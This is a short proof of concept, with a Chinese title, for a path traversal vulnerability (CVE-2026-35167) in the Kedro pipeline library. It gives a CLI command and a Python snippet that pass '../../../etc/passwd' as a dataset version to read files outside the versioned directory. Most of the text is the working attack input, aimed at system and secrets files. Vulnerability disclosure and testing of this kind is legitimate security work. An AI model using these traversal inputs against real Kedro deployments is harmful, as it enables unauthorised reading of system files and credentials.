CVE-2026-35167 Kedro路径遍历漏洞

# PoC for CVE-2026-35167: Path Traversal in Kedro # The vulnerability allows reading files outside the intended versioned directory. # Method 1: CLI usage # An attacker can execute the following command to read 'secrets' file from parent directories # Command: kedro run --load-versions=my_dataset:../../../etc/passwd # Method 2: Python API usage from kedro.io import DataCatalog # Assuming a dataset is configured in the catalog # An attacker with control over the 'version' parameter can trigger the path traversal # Malicious version string containing '../' to escape the dataset directory malicious_version = "../../../etc/passwd" # This triggers _get_versioned_path() without sanitization # catalog.load("my_dataset", version=malicious_version) # print("If vulnerable, file content is returned.")